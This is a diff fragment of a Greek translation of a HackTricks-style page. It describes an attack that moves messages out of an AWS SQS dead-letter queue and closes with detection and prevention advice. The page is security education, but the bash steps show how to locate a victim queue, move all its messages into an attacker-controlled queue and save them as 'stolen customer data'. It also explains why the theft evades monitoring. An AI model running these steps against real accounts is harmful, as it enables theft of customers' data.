1) **Ανίχνευση και εξέταση της victim DLQ**
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Εκτέλεση της μαζικής κλοπής μηνυμάτων**
|
||||
3) **Εκτέλεση μαζικής κλοπής μηνυμάτων**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -113,16 +115,16 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Σημειώσεις μεταξύ λογαριασμών
|
||||
- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να `sqs:SendMessage` (και, αν χρησιμοποιούνται, KMS grants/permissions).
|
||||
### Δια-λογαριαστικές σημειώσεις
|
||||
- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον victim principal το `sqs:SendMessage` (και, αν χρησιμοποιείται, τα grants/permissions του KMS).
|
||||
|
||||
## Γιατί αυτή η επίθεση είναι αποτελεσματική
|
||||
|
||||
1. **Νόμιμη λειτουργία του AWS**: Χρησιμοποιεί ενσωματωμένη λειτουργικότητα του AWS, καθιστώντας δύσκολη την ανίχνευση ως κακόβουλη
|
||||
1. **Νόμιμη δυνατότητα του AWS**: Χρησιμοποιεί ενσωματωμένη λειτουργικότητα του AWS, καθιστώντας δύσκολο τον εντοπισμό ως κακόβουλο
|
||||
2. **Μαζική λειτουργία**: Μεταφέρει χιλιάδες μηνύματα γρήγορα αντί για αργή μεμονωμένη πρόσβαση
|
||||
3. **Ιστορικά δεδομένα**: Οι DLQs συσσωρεύουν ευαίσθητα δεδομένα για εβδομάδες/μήνες
|
||||
4. **Κάτω από το ραντάρ**: Πολλές οργανώσεις δεν παρακολουθούν στενά την πρόσβαση σε DLQ
|
||||
5. **Cross-Account Capable**: Μπορεί να εξάγει (exfiltrate) σε δικό του AWS account του attacker εάν οι άδειες το επιτρέπουν
|
||||
3. **Ιστορικά δεδομένα**: DLQs συσσωρεύουν ευαίσθητα δεδομένα σε εβδομάδες/μήνες
|
||||
4. **Κάτω από το ραντάρ**: Πολλοί οργανισμοί δεν παρακολουθούν στενά την πρόσβαση στα DLQ
|
||||
5. **Cross-Account Capable**: Μπορεί να εξάγει σε λογαριασμό AWS του επιτιθέμενου εάν τα δικαιώματα το επιτρέπουν
|
||||
|
||||
## Ανίχνευση και Πρόληψη
|
||||
|
||||
@@ -143,8 +145,10 @@ done
|
||||
}
|
||||
```
|
||||
### Πρόληψη
|
||||
1. **Ελάχιστα προνόμια**: Περιορίστε τα δικαιώματα `sqs:StartMessageMoveTask` μόνο σε απαραίτητους ρόλους
|
||||
2. **Παρακολούθηση DLQs**: Ρυθμίστε συναγερμούς CloudWatch για ασυνήθιστη δραστηριότητα σε DLQs
|
||||
1. **Ελάχιστα δικαιώματα**: Περιορίστε τα δικαιώματα `sqs:StartMessageMoveTask` μόνο στους απαραίτητους ρόλους
|
||||
2. **Παρακολούθηση DLQs**: Διαμορφώστε συναγερμούς CloudWatch για ασυνήθιστη δραστηριότητα στα DLQs
|
||||
3. **Πολιτικές μεταξύ λογαριασμών**: Ελέγξτε προσεκτικά τις πολιτικές ουρών SQS που επιτρέπουν πρόσβαση μεταξύ λογαριασμών
|
||||
4. **Κρυπτογράφηση DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιών
|
||||
5. **Τακτικός καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται στα DLQs επ' αόριστον
|
||||
5. **Τακτικός καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να σωρεύονται στα DLQs επ' αόριστον
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user